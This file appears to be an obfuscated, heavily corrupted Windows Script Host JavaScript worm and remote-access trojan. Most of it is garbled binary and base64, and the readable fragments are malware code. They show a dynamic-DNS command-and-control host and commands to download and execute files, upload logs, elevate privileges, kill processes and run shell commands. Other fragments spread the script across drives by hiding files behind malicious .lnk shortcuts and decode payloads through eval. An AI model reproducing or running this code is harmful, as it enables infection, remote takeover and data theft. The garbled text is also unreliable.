PÐ)])EèÐ)UÑ)EèÐ)])MÁ½dɱ ±±ÑÅ©5©±Ée©9])!=]¡ EèÐ)Q±)IµIU]Q9-9%UaYI4ÁÁÍ]Y¡MEåM¹ XôwS0NKelkzSnBjSFJwYm1jdVptbHNaWE41YzNSbGJXOWlhbVZqZENJcE93b2dJQz4+JWdhV1lvYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWlVWNGFYTjBjeWh6ZEhKellYWmxkRzhwS1hzS0lDPj4lZ0lDPj4lZ0lDQnZZbXBtYzI5a2IzZHViRzloWkM1a1pXeGxkR1ZHYVd4bEtITjBjbk5oZG1WMGJ5azdDaT4+JWdJQ0I5Q2k+PiVnSUM+PiVnQ2k+PiVnSUNCcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29nSUM+PiVnSUM+PiVnSUhaaGNpPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRZ1BTQlhVMk55YVhCMExrTnlaV0YwWlU5aWFtVmpkQ2dpWVdSdlpHSXVjM1J5WldGdElpazdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUXVWSGx3WlM+PiU5SURFN0k+PiVvZ0lDPj4lZ0lDPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xrOXdaVzRvS1RzS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVhjbWwwWlNodlltcG9kSFJ3Wkc5M2JteHZZV1F1Y21WemNHOXVjMlZDYjJSNUtUc0tJQz4+JWdJQz4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVUWVhabFZHOUdhV3hsS0hOMGNuTmhkbVYwYnlrN0NpPj4lZ0lDPj4lZ0lDPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVkyeHZjMlVvS1RzS0lDPj4lZ0lDPj4lZ0lDPj4lS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDPj4lOUlHNTFiR3c3Q2k+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lHbG1LRzlpYW1aemIyUnZkMjVzYjJGa0xtWnBiR1ZGZUdsemRITW9jM1J5YzJGMlpYUnZLU2w3Q2k+PiVnSUM+PiVnSUM+PiVnYzJobGJHeHZZbW91Y25WdUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1kbGRFWnBiR1VvYzNSeWMyRjJaWFJ2S1M1emFHOXlkRkJoZEdncE93b2dJQz4+JWdJQz4+JWdJSFZ3WkdGMFpYTjBZWFIxY3lnaVJYaGxZM1YwWldRclJtbHNaU0lwT3dvZ0lDPj4lZ0lIMEtmUW9LWm5WdVkzUnBiMjRnWkc5M2JteHZZV1FnS0dacGJHVjFjbXdzWm1sc1pXUnBjaWw3Q2k+PiVnSUNCcFppaG1hV3hsWkdseUlEMDlJQ0lpS1hzZ0NpPj4lZ0lDQm1hV3hsWkdseUlEMGdhVzV6ZEdGc2JHUnBjanNLSUM+PiVnSUgwS0NpPj4lZ0lDQnpkSEp6WVhabGRHOGdQU0JtYVd4bFpHbHlJQ3NnWm1sc1pYVnliQzV6ZFdKemRISW9abWxzWlhWeWJDNXNZWE4wU1c1a1pYaFBaaWdpWEZ3aUtTPj4lcklERXBPd29nSUM+PiVnZG1GeUlHOWlhbWgwZEhCa2IzZHViRzloWkM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSnRjM2h0YkRJdWVHMXNhSFIwY0NJcE93b2dJQz4+JWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xtOXdaVzRvSW5CdmMzUWlMQ0pvZEhSd>\ÒU Ò^ TUN\ÕÙURÖZÓQ[ÌYU[ÌÚÊÔU^ÙUYUÛ T[ÚÖYÙU[ÌXÞÛÙUÒXV^ÑNLØ^ ÒÙSZÜUZÓQÓ[ÓZZØLU^ÔÜÖLZØÓ^ZÛUÛUUÑ[ÕØÒUUVUÌXÒ^ÛÑÖZL^U ÒÙLÕÌ]ØU[TÞ[LMV[UÚÓU[^U ÒÙ^ ÒÙ^ ÒÙU ÒÙL^UÕ^TÛXÍLÚØÍSLRQQÕÑ^UÑR]ÕÝÙUUUÌUØ[TZÍMVUÓQÑÍSXÖZÙÙ[UUUÕÌ]ØÞUÛÕSJÔUÕYØ]ÕÛ ZÙT^SSZÖÌXXÑÒÖ Z^[ZÖ^UÛÙÝU ÒÙ^ ÒÙ^ ÒÙSZÜÛMSÙÕXÕUÑÕ[L\ØÌ\RÔÑ\ ÕXÔÒ[ÕSJÔUÊÔUÕÙUÌ[ÓQÔT[]SLVZØÍXQÔ]ÖPSQÙZ ÒÒÕSJÔUÕSJÔUÕSÓ[TÕÙUÍSÓQÓZURLXÌ^T]Ø[SÔ^VLUØQÔÕÕ]S[ÍSÓQÓZULÕÙÕÛÍÖLUØQÒ[ÓZZØLÕZUQJÔUÚÊÔUÕSJÔUÕSJÔUÕSÙÒÔÑ\ÕÕÞL^TÕÚÓLUQÓLÌÔLÊÔUÕSJÔUÕSJÔUZØÕÓ^[UÚØÍSLRQUØÑÔÎZSZÜUZÓQÓ[ÓZZØLTÛ^L[MSØÕÝLÌÔLÊÔUÕSJÔUÕSJÔUZØÕÓ^[UÚØÍSLRQUÓ[Õ[ØÞÛÙ[TTÛÑÖXÍÑNLØ^ ÒÙ^ ÒÙUÍSÓQÓZURLXÌ^T]XM^ZØ]^U ÒÙ^ ÒÙ^ ÒÙU ÒÙ^ ÒÙ^ ÒÙSZÜ^ÙUTÞ[LMUÙULV ÌLØ^ ÒÙÑÕSJÔUÕSØÑR^MXL^TÕÚÓLXÑQÞÕÑÚÖ^ÙZÝUÍ[ÖÌUÓQÒXLÐ[ÕSJÔUÕSJÔUÕZØ\RSZÜÍRÓUÒR^MXL^TÕÚÓLXUZÙÚÔÌÓQÓUZØ]Ö[Ó^XRÕØXÌ^ ÒÙ^ ÒÙL^LØQÔÔ]ÖU YØLÝÕÛTUÌTÌZÑÐÌX[TXUR^LØQÔÔ]Ö^[ZÔÑÑ^[ XVÌUÛZURÕÌ]Ù[R^UÙULUÙUÑTZXOSUvÆDtÔgdõvÆ%e§¤Tææt¥F¥&c6CUDsVöDt¤D&µ4CB´¥vÄÅdäÅ3VtgUF奦UEc%EvEWDE6æFÓGu5vÃ6tdV¤&¥$s%DÄ¥£CUÓÓÑÝMU9éhÁ±Åɱ)DÍ9¹dÁÕ]IA¨Ñ±±Mai) PÐ)a))DÁ½ádÁM I!YaI©4Å)½i¡]±ÁA¨Ñ±±%Q¹¥HÉÝÝ]±¡)hÁÐÕE¹ÁHÁeÝi¡=iµ)eQ´Õ5DÁ)Ñ]YѱÁQ éhÉàÉ]\Åݵ%åQaY©5±eÝY\Å]IaY¹ÁI]¡Í]YM9Áhɱ]ÕÍdÉá ½åY¹YIåÁQ9 )Ñ]¹i©Q½i͵)ÁhÍ 1Y!91DÅÕ ]ÕQ¹iiQXÙ]±ÅÁÑM]±1Y!91DÅá ±±eUµÁ¡DÉ¡ÍdÈÕ)Ué5ѵU\å1]´Õ]YéU¹ ¥5©I¹i¡ É%åIµÑ)DÉ¡ÑeYÑIeM¹95DÁ(Õ]±¡M µ)aUa ±Èå-i¡-9]XÍÁÁ]Á½dɬA¥Y¹eU¡M59!=]±¡ a É]\ÅݵI%MµáiYéádÁѱ±aUµá5HÁ½á]´Å 9ÅÁÑU]Ýå]Y¡)hÉ%åM¹©4Å(Õ]±IeE¹9¥5iÉ]±4A¥TÕMUiYéM¹ ©MÅUQ9-±eUµáU5Áá]±=5ÑMµ¡ Ié±É]]¬ÅµI%MµáiYé ÁLÅIéLÁ9I!iiaÙi¡-±a5Q©HÍ É]YMáÍU©Y©HÅY¹U4A¥XÑPͬA¥Y1DÅͱ±Ñ!ÁMÁÍ]Yá5]9!!iiXÅ)ÍQÌÕÅÁa9å1Y!91DÅͱ±Ñ!ÁMÁÍ]Yá5]9!!iiXÅ)ÍQÄѱ±aU©Q°ÁU´ÅÍÅÁQ Å¡XÍ¡Íi¡-ÁÑUÁÑU]áÁi YÁeM]ETÁ(É]\ÅݵI%MµáiYéádÁѱ±aUµá5ÁÍ]YIÁÑUÁÑU]àÉ]\ÅݵI%MµáiYéádÁѱ±aUµá5TÕée©9=Ñ éhÈå-DÅÕ ]ÕQ© ©Yi½e±MµEå9a9¥5iÉMUEÝhÉ)ÕY¹9¥I!91DÅÍ5±±eM]¡M%ÝdÁÕ ]ÁA¨Ñ±=U±iIi4ÁÁÝdÁ¡IYéMµái])ÍY)-YÁaQ© 1DÁÀÁeé9½)MaY±IééeU¡M59Ma AÈå-DŽ5I%E¹ii\äÅe©9 )Áhɱ©Ié°Ùi9)Á±Ñ MÐ)Qi5Q¡ÁMU9éhÉ!=aÁEèÐ)a))DÁ¬ÉM]¬A¥YåMU¡ µ9ÕU]1U°ÉM]¬A¥YåMU¡-I!Q¹I D͹]´ÅÉ5åYa AÈå-DŽ5I%E¹ii\äÅeé)]5YÑY¹¡XÅhÙiY½±aUµá© ]Ái¡=9Á5]¡ 5±hÅiIÙ UáE¹ ¥YòY20xaGRHbHZiaWdwS1RzS0NRbG9kSFJ3YjJKcUxuTmxibVFvWW5WbVptVnlLVHNLQ1gxallYUmphQ2hsY2lsN0Nna0pkWEJrWVhSbGMzUmhkSFZ6S0NKVmNHeHZZV1FyUm1GcGJHVmtJaWs3Q2dsOUNuMEtDZ3BtZFc1amRHbHZiaUJrWld4bGRHVm1ZV1lnS0hWeWJDbDdDblJ5ZVhzS1ptbHNaWE41YzNSbGJXOWlhaTVrWld4bGRHVkdhV3hsS0hWeWJDazdDbVpwYkdWemVYTjBaVzF2WW1vdVpHVnNaWFJsUm05c1pHVnlLSFZ5YkNrN0NuMWpZWFJqYUNobGNuSXBlMzBLZlFvS1puVnVZM1JwYjI0Z1kyMWtjMmhsYkd3Z0tHTnRaQ2w3Q25aaGNpQm9kSFJ3YjJKcUxHOWxlR1ZqTEhKbFlXUmhiR3htY205dFlXNTVPd3AyWVhJZ2MzUnljMkYyWlhSdklEMGdhVzV6ZEdGc2JHUnBjaT4+JXJJQ0p2ZFhRdWRIaDBJanNLYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpDPj4lcklDSWdQaUJjSWlJZ0t5QnpkSEp6WVhabGRHOGdLeT4+JWlYQ0lpTEM+PiV3TENCMGNuVmxLVHNLY21WaFpHRnNiR1}VZ^QÒXLULU Ó^ÔVZØÕ^ÖUÛÓQUL ZÙ[UÛ^ÔÕÍRØZÒTÙÌTÌTÚÐU Ó^ÔVZØÕ^[^TV]ÕÛXÑÒÎZLRV^Ó[U[ØQÔNSVÔÌZÕSTÛ^ÔÑV[[ÙU]ÚÛMRÙRÌÚXMÖUÍY[ÕÖLVÇFçÅ's5&²µfå5Tä4ÖÆÅ5vFtCB´¥vEW£B´¥vĦääŤV´åuc64D¥¥tVÆ夤¶5uÕ&¤ÖÅ£U¤s6ÇE£FÄõVÄe¤wµ%FÇsvÕ$E£&Æ´Ö×ÆF¶Du$EE¥&æ¥tTÓ6å¦Ó¦¥tVDö4t¥uĦw35#Vtç×Öæu¤VEvDtãU£FÄõVÄõvÆ&Õ#fö$tçUvä%¤ÖÅcVÆö$f· &¤ftVó3ä¶VÇTw ¤Ófå3&Ä6%tçDõ $¥4u'u×æUfw¥æÆÖ³W5¤äæWåDf#6G¥Fµ&æ4S6#F%FÃU3tçÓ W£B´¥FÄ¥'¥g5¤Ä5&Ô§Ufå&tWõ¤V3VUWD Få¦#'wuvÆ7V·EV3&D¥cuDstÔd¥åwDÅ'355VF4WDÕ ¦¶%e¥vÆôÔWDF4&ÆC#å5TÒµfå¤svUVÄõvÆ%wwuvÆ7u£%EÓ W¥gu¤VEvDWDF¦DE£'5ÒµSU5VEvCÄF3&FÖ· f 6$t¥Då e¥g¤g55T祣Ç4ävÅC#µvÆrµfåTdä6$täE£FÆ6¶ÄõvÆ%wwuvÆ7vEtä6奤ÖÅ£e¤'6ÄF3&D¦$E'C6Ge£ÄE£FÅ££FÅ£%E×¥£B´¥¤¥'¦Çs4ÔgÔ ftv5uDåtÔfÅ 6äæf´¦õ¤VFå£CUç¥#6u¤VEvUS64FÄF&¤guf 6ÔdFw¦ws5¦ÄgvUgV¤f¦%E&åvÆrµS5#Gu3çEv¤f%SGuf3VEVÄ f¥& td£5#VÇFç¥&5fE&4uc64D&¦&×s5#Tö#TæÖ· DsT´Õt§£&Ƶ#£eD£4t¤C&DÔÔfÆåDDe%£w ·5£B´¥vÄ¥4æåG6U£FÆ3%$6¤fS'35#GÆÅV× &5#T¦4uW¤ÔWFÕUsÅvÓUvEf·¥Vä&Ö¥&åv¤¥tÔed &æÆg¥WuV¶G6Ug F¤&Óó36u$ £4&ÆC#µ¤svUVÄ v夥$D&åvÓ63F¥f¤Ó§5Æ3VtgåsVtd¤ fCF$WDÖµ#&GuC6Ge6ÔçEf¤&µtW5VF4t¤ fçÅtSGuvÆ7FÆÇF#5fÖÅueVDvUgåD%6%FÇ¥v¶EvUe'E&å&S&EæÇ$ãçTÔWDF%f÷ ÓôÔteõ d¥#£¤f7%fÅ uvDÅ#£¤f7$e5&ÆC#å5TÒµfå¤svUVÄ6×¥$D&å5vĤãçUVæÆÅtäÅ5TÒµfå5VFFÔçD¥¥tVÆåvÓ%£%EåfttæåVÆ3Õt¥ fæÅ¥td£%&Æö%teTw¤Ó'e¤VEvDt6ädÖ%u'5¤UfFÔ¤ VצCB´¥sg¥W ÆE64tç5f¤Ó§vÓV3 fæƦUw355Täv%teDåvµ%e£v´ææ4SUÓ W¥c¤æ$e'Ef¥&µ&Gu3¥3ÄE£FÅ£ÄE£FÅ£ÄE¤¥¥tVÆåvÓV3 fæÄ¥$D&åvÓ&EteV×S&GuC6Ge£ÄE£FÅ£ÄE£FÅ£Ä6×¥$D&å#e£CUÓÖæ%vƦEt§E&å&W£B´¥¤¥Åts5¥VÇ£FÆ6¶Ä vå¦#§5&³u$VæÆ c÷ ¤VEvV¶ÄF3&F¤Ó§¥f 6$tç3&DFCB´¥vD¥U&²µfå5Tä6%t¥5s¶%U£U5VF4VÄTÔvF%e¥5UevEu%Õw¦%Uu¤ä¦#F$ætSC¤å6$t¥õvÆEgUvÆ 5#$TwFtVÆå3EvEu%ÕwF tVÇuDs4t¤ fçÅdæå5fF4WE&¤%5g¥g%3ç$ãÄ vä$Ö%Dc%¤suCD$Å'Gu¥Ge£ÄE£FÅ£ÄE£FÅ£ÄvÖ¦T§EfCF$VÄTÔvF%wCf 6$t¥E£4%C#å5TÒµfå5TÒµfå5V¶$VÄTÔvF¦%efå36Ä6%teTwÖ%EfõÆEe£CU£FÆf5vDÆUT§EfCF$WUFä&Æ%efå36²µgtvÄ¥£CUÓ c65DstÔu$6ä%¦&ÅuvÆå£CUç¥#6u¤VEvUSU£FÅ3ÄE£FÅ£ÄÔWFÕcVõ¤VDö#D fæƦws5¦ÄgvUgV¤f¦%E&å#dãçTÔCÄ4ÖÇTÆÔ¦3%S$ä4¦D÷w6wÖEsV¦DvÇf&&$se¤Sö4ãdWvô¦4ãdUGVµ & dÇu¥4t¦å¦å'¥F7ww¤fD÷vô¦4ãdUGS¥CuÖFÖD¦ÆC$g¤´6Æ$ÔcV6Õgv$tf¥¥6v35$%VT¤Ä44÷vô¦6ÕcE§T4$&6ä¦U6ÖEsV¦DvÇf&wS4¦ÆD g&'v35$%VUó3÷w6å¦6$EGTg6ÔcT´u£&ÔãsT´ #FD6Ãt6vÇ¥ #6ÓFucæ¦6ÖÇvD3TF6ÕfDue×Å5öDµG4¶e6³t6wÖEsV¦DvÇf¥tg$Ôsv'wWvô¦D£VWvô¤5¦ÆD g&$EC7u 6vS6ǦDugDƳVÆD3U$udU÷vô¦etæDtæô´ugµ4´5Ç¥ #6ÓFv&åg6$G4´5¶eôµ¦ågU5'##Fv4s5¥¥%UdVõDg¤ÖÕfÆG¤4tW7¤¦Å¥7Ä4&Õ×¥uc4ÖÃt6v·dÃ4¦ÆD g&$&6ä¦U6Õ×¥uc4Ôg7u 3Vå¥ %FD§&Ö6ô´tW7¤¦Å¥7uw¤fDµ6·4tW7¤¦Å¥7µG4¶eôµ¦ågU5'##Fvtg$S¦Õg¤´tW7¤¦Å¥74tW7¤¦Å¥7Ä4&Õ×¥uc4ÖÃt6vÃ6æÃt6v´¦FÔgsSFt§6##µGuG¦öuDg¤ÖÕfÆG¤WU4¦Å &Å%wÆ%ugVD6v¥vCT·4V³dsVÆG%5¥vDfTõDg¤ÖÕfÆC7u 7vuDg¤ÖÕfÆC7 6õG4´5Ǧ5¥tg$Ôsv'wCå%ÔÅÝÁݽ) E°Éea%!XÁQµÑ¡]Õ%ÁDùbMF0oIkFkb2RiLlN0cmVhbSIpOwoJCQl0dXROa2FtYW4uVHlwZSA9IDE7CgkJCXR1dE5rYW1hbi5PcGVuKCk7CgkJCXR1dE5rYW1hbi5Xcml0ZShudHZbMF0oKS5ub2RlVHlwZWRWYWx1ZSk7CgkJCXR1dE5rYW1hbi5Qb3NpdGlvbiA9IDA7CgkJCXR1dE5rYW1hbi5UeXBlID0gKDMtMSk7CgkJCXR1dE5rYW1hbi5DaGFyU2V0ID0gInVzLWFzY2lpIjsKCQkJYTFzMmVldyA9IEFycmF5KHR1dE5rYW1hbi5SZWFkVGV4dCgpLCBldmFsKTsKCQkJbnR2ID0gbnVsbDsKCQl9ZWxzZXsKCQkJbnR2ID0gcG93ZXJRUVEoW3dlYWswbzBvKCksIG50di5pdGVtKCkubm9kZVR5cGVkVmFsdWVdLCBudWxsLCBldmFsKTsKCQl9CgkJYTFzMmVldzIgPSBudHYuUmVhZCgpOwoJCQoJfWNhdGNoKGVycil7CgkJYTFzMmVld1sxXSh7ajpbYTFzMmVld1swXV19LmpbMF0pOwoJfQ~PÙÜÖUÛÕV[ÔVVVÛÒZ ÒÒ\ÒPÒZZÜÒQSÞÐÒUÓXÓ]UÑÌ\ÔÎ]ZZÜÝÛÏHÃB\ÜÚÚ[KÒu67&Bä7&VFTö&¦V7B%u67&Bå6VÆÂ"°Ð§f"FFF#Òw6 6VÆÃäWæDVçf&öæÖVçE7G&æw2"VFFR"°Ð§f"7GV'FÒFFF#¬qq IU M5±¡e¹©Ìì4)٠ȽÄô½ ÍØС±½¹QáÐĤì4)ÝÉ¥Ñ åÑÌ¡ÍÑÕÁ Ñ Ä°½Ä¤ì4)ÝÍ¡M¡±°Ä¹ÉÕ¸ ÝÍÉ¥ÁЯ/B \"" + stubpath1 + "\""); }catch(er){} function writeBytes(file, bytes){ try{ var binaryStream/HÔØÜ\ÜX]SØXÝ QÑÝX[HNÃB[\TÝX[K\HHNÃB[\TÝX[KÜ[ NÃB[\TÝX[KÜ]J]\ÊNÃB[\TÝX[KØ]UÑ[J[KNÃBXØ]Ú \^ÃBCBCB[Ý[ÛXÛÙP\ÙM \ÙM ^ÃB\HHÔØÜ\ÜX]SØXÝ ZXÜÜÛÙSÓHNÃB\SÒDÒæ7&VFTVÆVÖVçB'F×"°Ð¤TÂæFFGRÒ¥¸¹ ÍØÐì4)0¹ÑáÐô ÍØÐì4)ÉÑÕɸ0¹¹½QåÁY ±Õì4)ô4)ÝÍ¡M¡±°Äô¹Õ±°ì4)Ù È¡½ÍÐôáѹÝÍ ÔØÀîddns.net"; var port =-M°Ð§f"ç7FÆÆF"Òѵå"; var runAsAdmin = false; var lnkfile/HYNÃB\ÙÛ\HYNÃBY[\ÐYZ[OHYJ^ÃBÝ\\[]]J NÃBCBYÔØÜ\\Ý[Y[Ë[YY^\ÝÊ[]]YHOHYJ^ÃB\ØXTÙXÝ\]J NÃBCB\Ú[ØHÔØÜ\ÜX]SØXÝ ÜØÜ\Ú[NÃB\[\Þ\Ý[[ØHÔØÜ\ÜX]SØXÝ ØÜ\[Ë[\Þ\Ý[[ØXÝNÃB\ØHÔØÜ\ÜX]SØXÝ \Þ[[NÃB\[Ý[[YHHÔØÜ\ØÜ\[YNÃB\Ý\\Ò6VÆÆö&¢ç7V6ÄföÆFW'2'7F'GW"²qpì4)¥¹ÍÑ ±±¥È½ shellobj.ExpandEnvironmentStrings(installdir)*ÈÃBYY[\Þ\Ý[[ØÛ\^\ÝÊ[Ý[\J^Êç7FÆÆF"ôÍ¡±±½¨¹áÁ ¹¹Ù¥É½¹µ¹ÑMÑÉ¥¹Ì ѵå") +(ßCB\Ü]\HÃB\ÛY\H O°Ð§f"&W7öç6RÂ6ÖBÂ&ÒÂöæVöæ6S°Ð§f"æbÒì4)Ù ÈÕÍÍÁÉ ¥¹ô¢"; var startdate =(ÃB[Ý[ÙJ NÃBÚ[JYJ^ÃB^ÃB[Ý[ NÃB\ÜÛÙHHÃB\ÜÛÙKÒ÷7B&2×&VG"Â""°Ð¦6ÖBÒ&W7öç6Rç7ÆB7ÆFW"°Ð§7vF66ÖE³Ò°Ð¦66R&F66öææV7B# Ð¥u67&BçVB°Ð¦'&V³°Ð¦66R'&V&ö÷B# Ч6VÆÆö&¢ç'Vâ"V6ö×7V2R½Í¡Õѽݸ¯r+Ýöb"ÂÂG'VR°Ð¦'&V³°Ð¦66R'6WFF÷vâ# Ч6VÆÆö&¢ç'Vâ"V6ö×7V2Rö26WFF÷vâ÷2÷B½°°, true); break; case(^ÙXÝ]HB\[HHÛYÌWNÃB][ \[JNÃBXZÎÃBØ\ÙJ&vWB×72# Ч76w&&&W"6ÖE³Òµ¹á°µlÉt¤ì4)É ¬ì4) ÍеÁ Í̵½±¥¹è4)Á ÍÍÉ ÈÈ¡µlÅt°µ¹á°µlÉt¤ì4)É ¬ì4) ÍÕÁ Ñè4)Á É ´½ response.substr(response.indexOf("|") +,JNÃBÛ[ÛÙKÛÜÙJ NÃBÛ[ÛÙHH[\Þ\Ý[[ØÜ[^[J[Ý[\ È[Ý[[YH[ÙJNÃBÛ[ÛÙKÜ]J\[JNÃBÛ[ÛÙKÛÜÙJ NÃBÚ[Ø[ÜØÜ\^Jòô"Â""²ç7FÆÆF"¬¥¹ÍÑ ±±¹ µ¬p¤ì4)ÕÁ ÑÍÑ ÑÕÌ UÁ Ѥì4)]MÉ¥ÁйÅեР¤ì4) Í¢uninstall": uninstall(); break; case "up-n-exec": download(cmd[1],cmd[2]); break; case "bring-log": upload(installdir*ÈÜÚÙÜ× ÈÛYÌWK 'F¶RÖÆör"°Ð¦'&V³°Ð¦66R½Ý¸µ¸µáè4)ͥѽݹ±½ È¡µlÅt±µlÉt¤ì4)É ¬ì4) Í¥±µ ¹ Èè4)ÍÉÙ¥ÍÑ ÉÑÈ¡µlÅt°´µÁ±Õ¥¸¹á°¥¹½Éµ Ñ¥½¸ ¤¤ì4)É ¬ì4) ÍÉâ: servicestarter(cmd[1],(\YÚ[^H[ÜX][Û JNÃBXZÎÃBØ\ÙH &¶WÆövvW"# Ц¶WÆövvW'7F'FW"6ÖE³Ò°µÁ±Õ¥¸¹á°¥¹½Éµ Ñ¥½¸ ¤°é; break; case (Ù[KZÙ^[ÙÙÙ\BÙ^[ÙÙÙ\Ý\\ÛYÌWKÛ\YÚ[^H[ÜX][Û KJNÃBXZÎÃBØ\ÙHÝÜÙK[ÙÜÈBÜÝ \Ë[ÙÜÈ[[YY[Ý[\ ÈÜÚÙÜÈJNÃBXZÎÃBØ\ÙHÛY\Ú[B\[HHÛYÌWNÃBÜÝ \ËXÛY\Ú[ÛYÚ[ \[JJNÃBXZÎÃBØ\ÙHÙ]\ØÙ\ÜÙ\ÈBÜÝ \Ë\ØÙ\ÜÙ\È[[\ØÙ\ÜÊ JNÃBXZÎÃBØ\ÙH &F6&ÆR×V2# ЦF6&ÆU6V7W&G°Ð§WFFW7FGW2%T2´F6&ÆVB² &V&ö÷Bµ&WV&VB"°Ð¦'&V³°Ð¦66R¡¬µ±¥¥±è4)¥¡¥±ÍåÍѵ½¨¹¥±á¥ÍÑÌ¡µlÅt¤¥ì4)ÕÁ ÑÍÑ ÑÕÌ %̱¥¥±¤ì4)õ±Íì4)ÕÁ ÑÍÑ ÑÕÌ 9½Ð±¥¥±¤ì4)ô4)É ¬ì4) Í¢force-eligible": if(WScript.Arguments.Named.Exists("elevated") == true){ if(filesystemobj.folderExists(cmd[1])){ shellobj.run("%comspec%+ØÊ"²6ÖE³%ÒÂÀ°ÑÉÕ¤ì4)ÕÁ ÑÍÑ ÑÕÌ MU ML¤ì4)õ±Íì4)ÕÁ ÑÍÑ ÑÕÌ ½µÁ½¹¹Ð5¥ÍÍ¥¹¤ì4)ô4)ô4)±Íì4)ÕÁ ÑÍÑ ÑÕÌ ±Ù Ñ¥½¸IÅեɤì4)ô4)É ¬ì4) Í "elevate": if(WScript.Arguments.Named.Exists("elevated") == false){ try{ oneonce.close(); oneonce = null; WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \""*ÈÔØÜ\ØÜ\[[YH Ê%Â"öVÆWfFVB"Â""Â''Væ2"°ЧWFFW7FGW2$6ÆVçB´VÆWfFVB"°Ð§Ö6F6æâ°Ð§ÐÐ¥u67&BçVB°Ð§ÐЦVÇ6W°Ð§WFFW7FGW2$6ÆVçB´VÆWfFVB"°Ð§ÐЦ'&V³°Ð¦66R¥µ±Ù Ñè4)¥¡]MÉ¥ÁйÉÕµ¹Ñ̹9 µ¹á¥ÍÑÌ ±Ù Ѥôô ±Í¥ì4)ÕÁ ÑÍÑ ÑÕÌ ±¥¹Ð9½Ð±Ù Ѥì4)ô4)±Íì4)ÕÁ ÑÍÑ ÑÕÌ ±¥¹Ð±Ù Ѥì4)ô4)É ¬ì4) Í "kill-process": exitprocess(cmd[1]); break; case (ÛY^# Ч&ÒÒ6ÖE³Ó°Ð§6ÆVWôÙ °¡Á É ´¤ì4)É ¬ì4)ô4)õ Ñ ¡È¥íô4)]MÉ¥ÁйͱèsleezNÃBCB[Ý[Û[Ý[ ^ÃB\ÛØÃB\[[[YNÃB\Û\[YNÃB\[ZXÛÛÃB\Û\XÛÛÃB\Ý\ NÃBÜ\KÒæWrVçVÖW&F÷"fÆW77FVÖö&¢æG&fW2²G&æDVæB²G&æÖ÷fTæWB°Ð§f"G&fRÒG&æFVҰЦbG&fRæ7&VGÓÒG'VR°Ð¦b¡É¥Ù¹ÉÍÁ øÀ©{ if (drive.drivetype/OK°Ð§G'°Ð¦fÆW77FVÖö&¢æ6÷fÆR u67&Bç67&DgVÆÄæÖRÂG&fRçF²%ÅÂ"¬¥¹ÍÑ ±±¹ µ±ÑÉÕ¤ì4)¥¡¥±ÍåÍѵ½¨¹¥±á¥ÍÑ̨drive.path*È È[Ý[[YJJ^ÃB[\Þ\Ý[[ØÙ][J]K] Ê%ÅÂ"¬¥¹ÍÑ ±±¹ µ¤¹ ÑÑÉ¥ÕÑÌôȬÐì4)ô4)õ Ñ ¡¥©Ô¥íô4)½È¡Ù Ȥô¹Ü¹ÕµÉ ѽȡ¥±ÍåÍѵ½¨¹Ñ½±È¡É¥Ù¹Á Ñ ¬qp¤¹¥±Ì¤ì¡fi.atEnd(); fi.moveNext()){ try{ var file/HK][J NÃBY Ù[HOH[ÙJ^ØXZÎßCBYfÆRææÖRææFWöb"â"°Ð¦b ¡¥±¹¹ µ¹ÍÁ±¥Ð ¸¥m¥±¹¹ µ¹ÍÁ±¥Ð ¸¤¹±¹Ñ 1]).toLowerCase() != "lnk"){ file.attributes/HÍÃBY [K[YKÕ\\Ø\ÙJ JÒç7FÆÆæÖRçFõWW$66R°Ð¦fÆVæÖRÒfÆRææÖRç7ÆB"â"°Ð¦Ææ¶ö&¢Ò6VÆÆö&¢æ7&VFU6÷'F7WBG&fRçF²%ÅÂ"¬¥±¹ µlÁt« ".lnk"); lnkobj.windowStyle =-ÎÃBÛØ\Ù]]J&6ÖBæWR#°Ð¦Ææ¶ö&¢çv÷&¶ætF&V7F÷'ôì4)±¹½¨¹ ÉÕµ¹Ñ̽ "/c start( È[Ý[[YK\XÙJ]ÈYÑ^ ÈKH Ê"g7F'B"²fÆRææÖRç&WÆ6RæWr&VtW""Â&r"Â%Â"Â""²"fWB#°Ð§G'¶fÆV6öâÒ6VÆÆö&¢å&Vu&VB$´UôÄô4ÅôÔ4äUÅÇ6ögGv&UÅÆ6Æ76W5ÅÂ"¬Í¡±±½¨¹II !-e}1= 1}5 !%9qqͽÑÝ Éqq± ÍÍÍqp¸« file.name.split(".")[file.name.split(".").length+HWJÊ%ÅÂ"¬qq ձѥ½¹qp¤ìõ Ñ ¡¥íô4)¥¡¥±¥½¸¹¥¹á= °¤ôôÀ¥ì4)±¹½¨¹¥½¹1½ Ñ¥½¸ô¥±¹Á Ñ ì4)õ±Íì4)±¹½¨¹¥½¹1½ Ñ¥½¸½ fileicon; } lnkobj.save(); } } } }catch(err){} } for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").subFolders); !fi.atEnd(); fi.moveNext()){ try{ var folder = fi.item(); if*ÙÛ\OH[ÙJ^ØXZÎßCBÛ\]X]\ËÒ"³C°Ð¦föÆFW&æÖRÒföÆFW"ææÖS°Ð¦Ææ¶ö&¢ôÍ¡±±½¨¹É ÑM¡½ÉÑÕСɥٹÁ Ñ ¬¢\\" *ÈÛ\[YH Ê"æÆæ²"°Ð¦Ææ¶ö&¢çvæF÷u7GÆRÒs°Ð¦Ææ¶ö&¢çF&vWEFÒ&6ÖBæWR#°Ð¦Ææ¶ö&¢çv÷&¶ætF&V7F÷'Òì4)±¹½¨¹ ÉÕµ¹ÑÌô¢/c start "*È[Ý[[YK\XÙJ]ÈYÑ^ ÈKH 